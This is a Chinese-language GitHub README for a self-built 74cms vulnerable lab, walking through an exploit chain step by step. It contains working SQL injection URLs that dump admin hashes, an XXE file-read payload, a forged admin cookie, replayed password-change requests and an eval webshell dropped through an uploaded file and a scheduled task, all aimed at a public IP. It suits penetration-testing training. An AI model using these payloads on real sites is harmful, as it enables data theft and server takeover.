Skip to content

CongSec/Exploit-chain

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

2 Commits
 
 

Repository files navigation

Exploit-chain

漏洞链靶场搭建与渗透~xxe文件读取+sql注入+代码审计+越权漏洞

前言

此次靶场是基于74cms进行修改的,主要修改了

  1. 制作管理员修改密码处的越权漏洞

    1. image
  2. 删除管理员对旧密码的前后端校验

  3. 防止因为的实验环境而导致无法复现xxe漏洞

    1. image

源码下载地址:https://pan.baidu.com/s/16HVs\_XXa-Tkp9AgcgAwMvg?pwd\=cong

渗透思路

  • 通过扫描器和信息收集,发现三个漏洞(两个前台漏洞和一个后台漏洞),以及源码泄露问题。
  • 前台两个漏洞分别为文件读取和SQL注入。
  • 利用文件读取漏洞读取 /data/config.php 文件,获取其中的源码盐值;再通过前台的SQL注入漏洞,获取数据库中 admin 用户的盐值,同时注意到存在一个用户 cong
  • cong 用户进行弱口令爆破,发现密码为 123456。成功登录后台后,发现权限不足,无法利用后台的命令执行漏洞。
  • 针对权限不足的问题,尝试进行权限提升。通过源码泄露的代码分析,发现后台的修改密码功能存在越权漏洞。
  • 利用前台获取的两个盐值,构造出 admin 用户的伪造 Cookie,执行越权操作,成功修改管理员密码。
  • 最终登录管理员账户后台,并成功利用后台的命令执行漏洞,获取服务器的 shell。

环境搭建

docker搭建

  1. 将必要的配置文件下载下来,下载链接(https://pan.baidu.com/s/1nkyiaCDLG9paa4fC281vcw?pwd\=cong)

  2. 在当前目录下执行docker-compose build

  3. 再执行docker-compose up -d即可

    1. image

源码搭建

  1. 直接下载网站源码放在phpstudy或者宝塔那里

  2. 搭建完成访问网址/install安装

  3. 管理员登录,点击修改密码功能(不用修改)之后将/temp/templates_c下的c_1_users_admin_users_edit_pwd_htm.php文件中的以下代码删除即可(一些没用的前端代码,放在那里可能会引人误导)

    1. image
    2. image

渗透流程

  1. 首先通过综合的扫描器对网站进行扫描得到有三个漏洞,一个是前台的文件读取,一个是前台的sql注入,还有一个是后台的命令执行漏洞

  2. sql注入漏洞

    1. 查数据库
      1.                    http://121.196.230.42/plus/ajax_street.php?act=key&key=%E9%8C%A6%27%20union%20select%201,2,3,4,5,6,7,database(),9%23
                           结果:
                           474cms
        
      2. image
    2. 查表
      1.                    http://121.196.230.42/plus/ajax_street.php?act=key&key=%E9%8C%A6%27%20union%20select%201,2,3,4,5,6,7,table_name,9%20from%20information_schema.tables%20where%20table_schema=database()%23
                           结果:
                           4qs_ad
                           4qs_ad_category
                           4qs_admin
                           4qs_admin_log
                           4qs_article
                           4qs_article_category
                           4qs_article_property
                           4qs_audit_reason
                           4qs_baiduxml
                           4qs_captcha
                           4qs_category
                           4qs_category_district
                           4qs_category_group
                           4qs_category_jobs
                           4qs_company_down_resume
                           4qs_company_favorites
                           4qs_company_interview
                           4qs_company_profile
                           4qs_config
                           4qs_crons
                           4qs_explain
                           4qs_explain_category
                           4qs_feedback
                           4qs_help
                           4qs_help_category
                           4qs_hotword
                           4qs_hrtools
                           4qs_hrtools_category
                           4qs_jobs
                           4qs_jobs_contact
                           4qs_jobs_search_hot
                           4qs_jobs_search_key
                           4qs_jobs_search_rtime
                           4qs_jobs_search_scale
                           4qs_jobs_search_stickrtime
                           4qs_jobs_search_tag
                           4qs_jobs_search_wage
                           4qs_jobs_tmp
                           4qs_link
                           4qs_link_category
                           4qs_locoyspider
                           4qs_mail_templates
                           4qs_mailconfig
                           4qs_mailqueue
                           4qs_members
                           4qs_members_buddy
                           4qs_members_charge_log
                           4qs_members_handsel
                           4qs_members_info
                           4qs_members_log
                           4qs_members_points
                           4qs_members_points_rule
                           4qs_members_setmeal
                           4qs_navigation
                           4qs_navigation_category
                           4qs_notice
                           4qs_notice_category
                           4qs_order
                           4qs_page
                           4qs_payment
                           4qs_personal_favorites
                           4qs_personal_jobs_apply
                           4qs_pms
                           4qs_pms_reply
                           4qs_pms_sys
                           4qs_pms_sys_log
                           4qs_promotion
                           4qs_promotion_category
                           4qs_report
                           4qs_resume
                           4qs_resume_education
                           4qs_resume_jobs
                           4qs_resume_search_key
                           4qs_resume_search_rtime
                           4qs_resume_search_tag
                           4qs_resume_tmp
                           4qs_resume_training
                           4qs_resume_work
                           4qs_setmeal
                           4qs_simple
                           4qs_sms_config
                           4qs_sms_templates
                           4qs_smsqueue
                           4qs_syslog
                           4qs_text
                           4qs_tpl
        
      2. image
    3. 查字段
      1.                    http://121.196.230.42/plus/ajax_street.php?act=key&key=%E9%8C%A6%27%20union%20select%201,2,3,4,5,6,7,group_concat(column_name),9%20from%20information_schema.columns%20where%20table_name=0x71735f61646d696e%23
                           结果:
                           4admin_id,admin_name,email,pwd,pwd_hash,purview,rank,add_time,last_login_time,last_login_ip
        
      2. image
    4. 查数据
      1.                    http://121.196.230.42/plus/ajax_street.php?act=key&key=%E9%8C%A6%27%20union%20select%201,2,3,4,5,6,7,group_concat(0x5c,admin_name,0x5c,pwd,0x5c,pwd_hash),9%20from%2074cms.qs_admin%23
                           结果:
                           4\admin\71f6fa5df85b8f1da7be635d840c8aee\xODxdi,\cong\2e308a7e5aae4a6b23b59190c30f1fe9\1h1BEg
        
      2. image
    5. 这里我们可以查到数据库的admin用户对应的盐值pwd_hash=xODxdi,ped=71f6fa5df85b8f1da7be635d840c8aee

  3. xxe文件读取

    1. 随便找几篇文章跟着复现就好了,链接

    2. poc如下

      1.                    POST /plus/weixin.php?signature=da39a3ee5e6b4b0d3255bfef95601890afd80709&timestamp=&nonce= HTTP/1.1
                           Host: 121.196.230.42
                           User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:30.0) Gecko/20100101 Firefox/30.0
                           Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                           Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
                           Accept-Encoding: gzip, deflate
                           Connection: keep-alive
                           Content-Type: text/xml
                           Content-Length: 292
        
                           <?xml version="1.0" encoding="utf-8"?>
                           <!DOCTYPE copyright [
                           <!ENTITY test SYSTEM "php://filter/read=convert.base64-encode/resource=../data/config.php">
                           ]>
                           <xml>
                           <ToUserName>&test;</ToUserName>
                           <FromUserName>1111</FromUserName>
                           <Content>2222</Content>
                           <Event>subscribe</Event>
                           </xml>
        
      2. image
    3. 得到拿到源码盐值:$QS_pwdhash = "IZ6f!zjC6XKxPe1=";

  4. 源码泄露

    1. 找到这几个漏洞还不足以利用webshell,通过dirsearch扫描得到后台地址和源码泄露

      1. image
      2. image
  5. 弱口令登录

    1. 上面sql注入得到两个用户,分别是admin和cong,对他们进行弱口令爆破得到
    2. cong的密码为123456,但是点击去权限不足,后台的命令执行漏洞无法复现,所以我们想要webshell就需要利用次漏洞
    3. 于是我们开源码进行分析
  6. 代码审计

    1. 因为我们得到的是普通用户cong,只有admin才有权限复现那个漏洞,所以我们需要找到越权漏洞,从cong越到admin

    2. 在后台的管理员修改密码处(admin/admin_users.php)发现要修改管理员的密码需要满足session(不可能,因为存储在服务器中,该信息无法修改)为管理员或者是check_cookie为真即可,所以我们追踪到check_cookie函数的声明处

      1. image
      2. image
    3. 如图,check_cookie是接受cookie传入的值,而cookie的值是可以控制的,这段代码md5($user['admin_name'].$user['pwd'].$user['pwd_hash'].$QS_pwdhash) == $pwd$user['admin_name']为管理员的账号(admin),$user['pwd']的值为刚才sql注入的管理员pwd值(71f6fa5df85b8f1da7be635d840c8aee),$user['pwd_hash']的值为sql注入出来的管理员pwd_hash(xODxdi),$QS_pwdhash则为源码的盐值(IZ6f!zjC6XKxPe1=),所以我们可以通过将上述拼接并进行md5加密就是check_cookie函数的pwd的值了,即4c95fcaa6a4248e5a5a7922ed4ae93a4

      1. image
    4. 所以我们只需要在cookie传入Qishi[admin_name]=admin;Qishi[admin_pwd]=4c95fcaa6a4248e5a5a7922ed4ae93a4;这个值即可绕过

  7. 越权漏洞

    1. 我们可以通过将得到的源码部署在本地,这样更方便我们测试,复现漏洞,那这里我们就在本地搭建下,admin密码就已知了

    2. 我们点击密码,然后修改密码,进行捉包

      1. image
    3. 可以捉到三个数据包,这两个数据包时连着来的,保存的数据包需要上一个数据包的返回包中的hiddentoken值,然后的话我们就可以通过在cookie传入刚才那个cookie,在修改下host字段旧可以修改目标靶机的管理员admin密码了,需要注意的是phpsessid需要换成cong用户的phpsession,并且还处于登录状态,目的是保持session的存活生效

    4. 修改密码数据包如下

    5. 可以捉到三个数据包,分别在这三个数据包中插入Qishi[admin_name]=admin;Qishi[admin_pwd]=4c95fcaa6a4248e5a5a7922ed4ae93a4;,并修改对应的id值即可

      1. image第一个数据包

      2. image第二个数据包

      3. image第三个数据包

      4. poc

        1.                    第一个数据包:
                             GET /admin/admin_users.php?act=edit_users_pwd&id=1 HTTP/1.1
                             Host: 121.196.230.42
                             Upgrade-Insecure-Requests: 1
                             User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Edg/134.0.0.0
                             Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
                             Referer: http://121.196.230.42/admin/admin_users.php
                             Accept-Encoding: gzip, deflate, br
                             Accept-Language: zh-CN,zh;q=0.9
                             Cookie: Qishi[admin_name]=admin;Qishi[admin_pwd]=4c95fcaa6a4248e5a5a7922ed4ae93a4;12e74ef8323a2621269479a83ab5bcb7_ssl=3fbd1e8e-2c9b-45d4-9a7f-c6aa722d4c59.QVEx7vCgv9bcqpnimCvw4QMirvQ; PHPSESSID=6cdbavi5ool836faokg51c9ei7; 12e74ef8323a2621269479a83ab5bcb7=e902ccc6-b392-4111-8abe-113402938b37.6BeGfz7N40S_7a-gs-JH48cLOVI; http_Path=%2Fwww%2Fwwwroot%2F74cms%2Ftemp%2Ftemplates_c
                             Connection: keep-alive
          
                             第二个数据包:
                             POST /admin/admin_users.php?act=edit_users_pwd_save HTTP/1.1
                             Host: 121.196.230.42
                             Content-Length: 79
                             Cache-Control: max-age=0
                             Origin: http://121.196.230.42
                             Content-Type: application/x-www-form-urlencoded
                             Upgrade-Insecure-Requests: 1
                             User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Edg/134.0.0.0
                             Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
                             Referer: http://121.196.230.42/admin/admin_users.php?act=edit_users_pwd&id=1
                             Accept-Encoding: gzip, deflate, br
                             Accept-Language: zh-CN,zh;q=0.9
                             Cookie: Qishi[admin_name]=admin;Qishi[admin_pwd]=4c95fcaa6a4248e5a5a7922ed4ae93a4;12e74ef8323a2621269479a83ab5bcb7_ssl=3fbd1e8e-2c9b-45d4-9a7f-c6aa722d4c59.QVEx7vCgv9bcqpnimCvw4QMirvQ; PHPSESSID=6cdbavi5ool836faokg51c9ei7; 12e74ef8323a2621269479a83ab5bcb7=e902ccc6-b392-4111-8abe-113402938b37.6BeGfz7N40S_7a-gs-JH48cLOVI; http_Path=%2Fwww%2Fwwwroot%2F74cms%2Ftemp%2Ftemplates_c
                             Connection: keep-alive
          
                             hiddentoken=36c46759&password=333333&password1=333333&id=1&submit3=%D0%DE%B8%C4
          
                             第三个数据包:
                             GET /admin/admin_users.php?act=edit_users_pwd&id=1 HTTP/1.1
                             Host: 121.196.230.42
                             Upgrade-Insecure-Requests: 1
                             User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Edg/134.0.0.0
                             Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
                             Referer: http://121.196.230.42/admin/admin_users.php
                             Accept-Encoding: gzip, deflate, br
                             Accept-Language: zh-CN,zh;q=0.9
                             Cookie: Qishi[admin_name]=admin;Qishi[admin_pwd]=4c95fcaa6a4248e5a5a7922ed4ae93a4;12e74ef8323a2621269479a83ab5bcb7_ssl=3fbd1e8e-2c9b-45d4-9a7f-c6aa722d4c59.QVEx7vCgv9bcqpnimCvw4QMirvQ; PHPSESSID=6cdbavi5ool836faokg51c9ei7; 12e74ef8323a2621269479a83ab5bcb7=e902ccc6-b392-4111-8abe-113402938b37.6BeGfz7N40S_7a-gs-JH48cLOVI; http_Path=%2Fwww%2Fwwwroot%2F74cms%2Ftemp%2Ftemplates_c
                             Connection: keep-alive
          
          
          
    6. 退出cong用户登录,登录admin,密码为333333

  8. 命令执行漏洞

    1. 欧克,终于拿下admin用户了,现在来到最后一个,命令执行漏洞,相关文章:链接

    2. 将以下代码写入hacker.txt中,修改后缀为hacker.doc

      1.                    <?php
                               file_put_contents("../data/backup/shell.php", '<?php @eval($_POST["pass"]);?>');
                           ?>
        
    3. 在hr工具箱中上传hacker.doc,得到路径地址:/data/hrtools/2025/03/1743014069211.doc

      1. image
    4. 添加计划任务,配置如下

      1. image
      2. image
    5. 点击执行就会在/data/backup目录下生成shell.php,再用蚁剑连接即可,密码为pass

      1. image

About

漏洞链靶场搭建与渗透~xxe文件读取+sql注入+代码审计+越权漏洞

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published